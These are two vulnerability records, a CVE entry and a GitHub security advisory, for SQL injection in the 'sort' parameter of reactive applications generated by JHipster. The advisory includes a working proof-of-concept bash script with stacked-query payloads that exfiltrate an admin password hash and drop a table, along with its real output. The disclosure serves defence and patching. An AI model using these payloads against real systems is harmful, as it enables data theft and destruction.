{
  "affected": [
    {
      "affectedData": [
        {
          "product": "generator-jhipster",
          "vendor": "jhipster",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 7.0.0, \u003c 9.4.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "JHipster is a development platform to quickly generate, develop, and deploy modern web applications and microservice architectures. From 7.0.0 until 9.4.0, reactive applications generated with Spring WebFlux, Spring Data R2DBC, and a SQL database pass the attacker-controlled sort request parameter from paginated entity-list endpoints into createOrderByFields in generators/spring-boot/generators/data-relational/templates/src/main/java/package/repository/EntityManager_reactive.java.ejs. The generated code renders these properties into the SQL ORDER BY clause without validation or quoting, and the R2DBC simple query protocol can execute additional statements separated by semicolons. A normal authenticated user can consequently read sensitive tables, modify or delete data, or drop tables, while non-reactive JPA applications and NoSQL backends are outside this root cause. This issue is fixed in 9.4.0."
    }
  ],
  "id": "CVE-2026-107375",
  "lastModified": "2026-10-08T21:03:01.043",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 8.8,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.9,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-10-08T18:17:21.883",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/jhipster/generator-jhipster/commit/f6f1579581da8db0d1b8bd28dd473b56951c83af"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/jhipster/generator-jhipster/releases/tag/v9.4.0"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/jhipster/generator-jhipster/security/advisories/GHSA-r223-96jv-q533"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Awaiting Analysis",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-89"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "generator-jhipster"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "7.0.0"
            },
            {
              "fixed": "9.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-107375"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-08T17:40:37Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "# SQL Injection in the `sort` Parameter of JHipster-Generated Reactive (WebFlux + R2DBC) Applications\n\n- **Product**: jhipster/generator-jhipster (npm package `generator-jhipster`)\n- **Affected versions**: v7.0.0 through v9.2.0 \n- **Component**: generated reactive-application code, template `EntityManager_reactive.java.ejs`\n- **Report date**: 2026-08-29\n\n---\n\n## 1. Summary\n\nEvery reactive (Spring WebFlux + Spring Data R2DBC + SQL) application generated by `generator-jhipster` contains an SQL injection in the paginated entity list endpoints (`GET /api/\u003centity\u003e?sort=...`). The `sort` request parameter is taken verbatim from the user and concatenated into the SQL `ORDER BY` clause without quoting or validation. Because the generated query has no bound parameters, the R2DBC drivers execute it via the **simple query protocol**, so `;`-separated extra statements are run against the database.\n\nA single authenticated low-privileged user (including an account obtained through the default self-registration flow) can therefore **execute arbitrary SQL**: read any table (including `jhi_user` password hashes), modify or delete data, and drop tables (full C/I/A impact). Independently reproduced end-to-end on the default dev database (H2) and the default production database (PostgreSQL 16).\n\nThe JPA (non-reactive) path is **not** affected: Spring Data JPA validates sort property names against the entity metamodel. NoSQL backends are out of scope of this root cause.\n\n## 2. Root Cause\n\nThe generator template\n`generators/spring-boot/generators/data-relational/templates/src/main/java/_package_/repository/EntityManager_reactive.java.ejs` (lines 240\u2013253) writes `createOrderByFields(...)`, which renders the user-supplied sort property directly as an unquoted `SqlIdentifier`:\n\n```java\nprivate static Collection\u003c? extends OrderByField\u003e createOrderByFields(Table table, Sort sortToUse) {\n    List\u003cOrderByField\u003e fields = new ArrayList\u003c\u003e();\n    for (Sort.Order order : sortToUse) {\n        String propertyName = order.getProperty();   // attacker controlled (?sort=...)\n        OrderByField orderByField = !propertyName.contains(\".\")\n            ? OrderByField.from(table.column(propertyName).as(EntityManager.ALIAS_PREFIX + propertyName))\n            : createOrderByField(propertyName);\n        fields.add(order.isAscending() ? orderByField.asc() : orderByField.desc());\n    }\n    return fields;\n}\n```\n\nThe generated app configures `SqlRenderer.create(factory.createRenderContext())` with the default naming strategy, so unquoted identifiers are rendered **verbatim**. With `?sort=id;DROP TABLE product;--` the alias renders into:\n\n```sql\nSELECT e.id AS e_id, e.name AS e_name, e.price AS e_price FROM product e ORDER BY e_id;DROP TABLE product;-- ASC LIMIT 20 OFFSET 0\n```\n\n## 3. Verification \n\nA real application was generated from this repository (`git clone` of the submitted source, v9.2.0), built with Spring Boot 4.1.1, and run against both H2 and PostgreSQL 16.\n\n| Step                                                                                             | H2 (dev default)                                                                        | PostgreSQL 16 (prod default)                       |\n| ------------------------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------- | -------------------------------------------------- |\n| Error probe `sort=name%27`                                                                       | 500; SQL echoed with raw `\u0027` in `ORDER BY e_name\u0027`                                      | 500; r2dbc-postgresql parse error echoing full SQL |\n| Exfiltrate admin hash via `;UPDATE product SET name=(SELECT password_hash FROM jhi_user ...);--` | HTTP 200; `name` becomes `$2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC` | HTTP 200; same hash read back                      |\n| `;DROP TABLE product;--`                                                                         | HTTP 200; table gone, subsequent list \u2192 500                                             | HTTP 200; table gone, subsequent list \u2192 500        |\n\nAll payloads executed with a token carrying only `ROLE_USER`. **No other vulnerability or privileged account is required.**\n\n## 4. Impact\n\nCWE-89 SQL Injection. Confidentiality (arbitrary read, incl. `jhi_user` password hashes), Integrity (arbitrary writes), Availability (table drops). The affected code is produced by default for `reactive: true` + SQL database + paginated entity (the default for monoliths and microservices). Applications must be regenerated after a fix.\n\n## 5. Fix Recommendation\n\nIn `EntityManager.createOrderByFields`, validate each sort property against the entity\u0027s persistent metamodel (allow only known column names) or render it as a quoted `SqlIdentifier`; never concatenate raw property strings into SQL. Ship the fix in the generator and advise affected applications to regenerate.\n\n---\n\n## Appendix\n\n### A. Environment setup\n\n```bash\n# 0. Prerequisites: JDK 21, Node \u003e= 20, Docker (PostgreSQL step only), Maven (optional), curl, python3\njava -version   # openjdk 21.x\nnode --version  # v20+\n\n# 1. Clone the generator \ngit clone https://github.com/jhipster/generator-jhipster.git\ncd generator-jhipster\ngit checkout \u003caffected-tag\u003e          # e.g. v9.2.0 (or keep main). Folder MUST be named generator-jhipster.\nnpm install --no-audit --no-fund     # ~778 packages\nnpm link                             # makes `jhipster` available\njhipster --version                   # expected: 9.2.0\n\n# 2. Generate the target app (reactive + SQL + JWT + paginated entity)\nmkdir -p /tmp/pocwebflux \u0026\u0026 cd /tmp/pocwebflux\ncat \u003e .yo-rc.json \u003c\u003c\u0027EOF\u0027\n{ \"generator-jhipster\": {\n  \"applicationType\": \"monolith\", \"baseName\": \"pocwebflux\",\n  \"packageName\": \"com.mycompany.pocwebflux\", \"authenticationType\": \"jwt\",\n  \"databaseType\": \"sql\", \"devDatabaseType\": \"h2Memory\", \"prodDatabaseType\": \"postgresql\",\n  \"reactive\": true, \"skipClient\": true, \"buildTool\": \"maven\",\n  \"enableTranslation\": false, \"jhipsterVersion\": \"9.2.0\" } }\nEOF\ncat \u003e product.jdl \u003c\u003c\u0027EOF\u0027\nentity Product { name String required, price BigDecimal }\npaginate Product with pagination\nEOF\nexport JAVA_HOME=$HOME/.sdkman/candidates/java/21.0.7-amzn\njhipster --no-insight --force                    # -\u003e \"Spring Boot 4.1.1 application generated successfully.\"\njhipster jdl product.jdl --no-insight --force\n\n# Sanity check that the generated app contains the vulnerable code (all should match):\ngrep -n \"OrderByField.from(table.column\" src/main/java/com/mycompany/pocwebflux/repository/EntityManager.java\ngrep -n \"findAllBy(Pageable\"          src/main/java/com/mycompany/pocwebflux/repository/ProductRepositoryInternalImpl.java\ngrep -n \"Pageable pageable\"           src/main/java/com/mycompany/pocwebflux/web/rest/ProductResource.java\n\n# 3a. Run on H2 (default dev database)\n./mvnw -DskipTests package                        # -\u003e BUILD SUCCESS\nsetsid nohup $JAVA_HOME/bin/java -jar target/pocwebflux-0.0.1-SNAPSHOT.jar \\\n  --spring.profiles.active=dev --server.port=18080 \u003e app-dev.log 2\u003e\u00261 \u003c /dev/null \u0026\ncurl -s http://127.0.0.1:18080/management/health # -\u003e {\"groups\":[...],\"status\":\"UP\"}\nBASE_URL=http://127.0.0.1:18080 bash \u003cpath-to\u003e/poc/poc.sh\n\n# 3b. Run on PostgreSQL 16 (default production database)\ndocker run -d --name jh-pg16 -e POSTGRES_USER=pocwebflux -e POSTGRES_PASSWORD=secret \\\n  -e POSTGRES_DB=pocwebflux -p 15432:5432 postgres:16\n./mvnw -Pprod -DskipTests package                 # prod DB driver is in the Maven prod profile\nSECRET=$(python3 -c \"import base64,os;print(base64.b64encode(os.urandom(64)).decode())\")\nsetsid nohup $JAVA_HOME/bin/java -jar target/pocwebflux-0.0.1-SNAPSHOT.jar \\\n  --spring.profiles.active=prod --server.port=18081 \\\n  --spring.r2dbc.url=r2dbc:postgresql://127.0.0.1:15432/pocwebflux \\\n  --spring.r2dbc.username=pocwebflux --spring.r2dbc.password=secret \\\n  --spring.liquibase.url=jdbc:postgresql://127.0.0.1:15432/pocwebflux \\\n  --spring.liquibase.user=pocwebflux --spring.liquibase.password=secret \\\n  --jhipster.security.authentication.jwt.base64-secret=$SECRET \u003e app-prod.log 2\u003e\u00261 \u003c /dev/null \u0026\n# seed two products via the API (prod has no sample data), then run poc.sh:\nBASE_URL=http://127.0.0.1:18081 bash \u003cpath-to\u003e/poc/poc.sh\ndocker rm -f jh-pg16\n```\n\n### B. PoC script \n\n```bash\n#!/usr/bin/env bash\n# Usage: BASE_URL=http://host:port ./poc.sh   (uses seeded user/user; JWT=... to reuse a token)\nset -euo pipefail\nBASE_URL=\"${BASE_URL:-http://127.0.0.1:18080}\"; JWT=\"${JWT:-}\"; LOGIN=\"${LOGIN:-user}\"; PASSWORD=\"${PASSWORD:-user}\"\n\nif [ -z \"$JWT\" ]; then\n  JWT=$(curl -s -X POST \"$BASE_URL/api/authenticate\" -H \u0027Content-Type: application/json\u0027 \\\n    -d \"{\\\"username\\\":\\\"$LOGIN\\\",\\\"password\\\":\\\"$PASSWORD\\\",\\\"rememberMe\\\":false}\" \\\n    | python3 -c \"import sys,json;print(json.load(sys.stdin)[\u0027id_token\u0027])\")\nfi\nAUTH=\"Authorization: Bearer $JWT\"\n\necho \"== 2) Baseline ==\"\ncurl -s -H \"$AUTH\" \"$BASE_URL/api/products?sort=id,asc\u0026page=0\u0026size=2\" | head -c 300; echo\necho \"== 3) Error probe: sort=name\u0027 ==\"\ncurl -s -H \"$AUTH\" \"$BASE_URL/api/products?sort=name%27\" \\\n  | python3 -c \u0027import sys,json;d=json.load(sys.stdin);print(d.get(\"status\"));print(d.get(\"detail\"))\u0027 || true\necho \"== 4) Exfiltrate admin bcrypt hash ==\"\nPAYLOAD=\"id%3BUPDATE%20product%20SET%20name%3D(SELECT%20password_hash%20FROM%20jhi_user%20ORDER%20BY%20login%20LIMIT%201)%20WHERE%20id%3D(SELECT%20min(id)%20FROM%20product)%3B--\"\ncurl -s -o /dev/null -w \"  injection HTTP %{http_code}\\n\" -H \"$AUTH\" \"$BASE_URL/api/products?sort=$PAYLOAD\"\ncurl -s -H \"$AUTH\" \"$BASE_URL/api/products?sort=id,asc\u0026page=0\u0026size=2\" \\\n  | python3 -c \"import sys,json;[print(\u0027   id=%s name=%s\u0027%(p[\u0027id\u0027],p[\u0027name\u0027])) for p in json.load(sys.stdin)]\"\necho \"== 5) DROP TABLE product ==\"\nPAYLOAD=\"id%3BDROP%20TABLE%20product%3B--\"\ncurl -s -o /dev/null -w \"  injection HTTP %{http_code}\\n\" -H \"$AUTH\" \"$BASE_URL/api/products?sort=$PAYLOAD\"\ncurl -s -H \"$AUTH\" \"$BASE_URL/api/products?sort=id,asc\" \\\n  | python3 -c \u0027import sys,json;d=json.load(sys.stdin);print(d.get(\"status\"));print(str(d.get(\"detail\"))[:90])\u0027 || true\n```\n\n### C. Real output (H2 run, 2026-08-29, full `poc.sh` execution)\n\n```\n== Target: http://127.0.0.1:18080 ==\n== 1) Obtain a low-privileged token (user/user) ==\n== 2) Baseline: benign paginated read (sort=id,asc) ==\n[ { \"id\" : 1, \"name\" : \"eke below forceful\", \"price\" : 3151.02 }, { \"id\" : 2, ... } ]\n\n== 3) Error probe: sort=name\u0027 -\u003e raw quote reaches ORDER BY unescaped ==\nstatus: 500\ndetail: Syntax error in SQL statement \"SELECT e.id AS e_id, e.name AS e_name, e.price AS e_price\nFROM product e ORDER BY e_name[*]\u0027 ASC OFFSET 0 ROWS FETCH FIRST 20 ROWS ONLY\"; SQL statement:\nSELECT e.id AS e_id, e.name AS e_name, e.price AS e_price FROM product e ORDER BY e_name\u0027 ASC\nOFFSET 0 ROWS FETCH FIRST 20 ROWS ONLY [42000-240]\n\n== 4) Arbitrary SQL: exfiltrate jhi_user.password_hash (admin) into a readable field ==\n  injection request HTTP 200\n  Read back - first product \u0027name\u0027 now equals the admin bcrypt hash:\n   id=1 name=$2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC\n   id=2 name=notwithstanding\n\n== 5) Arbitrary SQL: DROP TABLE product (availability) ==\n  injection request HTTP 200\n  After injection, listing products again:\n   status: 500\n   detail: Table \"PRODUCT\" not found; SQL statement: SELECT COUNT(*) FROM product [42102-240]\n\n== Done. The database has been modified / a table dropped by injected SQL. ==\n```\n\u003cimg width=\"1280\" height=\"1519\" alt=\"evidence-01-h2\" src=\"https://github.com/user-attachments/assets/daceef8d-60ae-4edc-ab3e-c1020e1b0d77\" /\u003e\n\n### D. Real output (PostgreSQL 16 run )\n\n```\n== 3) Error probe: sort=name\u0027 ==\nstatus: 500\ndetail: Sql cannot be parsed: unclosed quote (quote opened at index 88) in statement:\nSELECT e.id AS e_id, e.name AS e_name, e.price AS e_price FROM product e\nORDER BY e_name\u0027 ASC LIMIT 20 OFFSET 0\n\n== 4) Exfiltrate jhi_user.password_hash (admin) into a readable field ==\n  injection request HTTP 200\n   id=1500 name=$2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC\n   id=1501 name=beta widget\n\n== 5) DROP TABLE product ==\n  injection request HTTP 200   -\u003e  subsequent list: status 500 \"Failure during data access\"\n```\n\u003cimg width=\"1280\" height=\"891\" alt=\"evidence-02-postgresql\" src=\"https://github.com/user-attachments/assets/61cf5bf4-d957-4969-80e3-06d9626b1142\" /\u003e",
  "id": "GHSA-r223-96jv-q533",
  "modified": "2026-10-08T17:40:37Z",
  "published": "2026-10-08T17:40:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jhipster/generator-jhipster/security/advisories/GHSA-r223-96jv-q533"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jhipster/generator-jhipster/commit/f6f1579581da8db0d1b8bd28dd473b56951c83af"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jhipster/generator-jhipster"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jhipster/generator-jhipster/releases/tag/v9.4.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "JHipster: SQL Injection in the Parameter of JHipster-Generated Reactive (WebFlux + R2DBC) Applicationssort"
}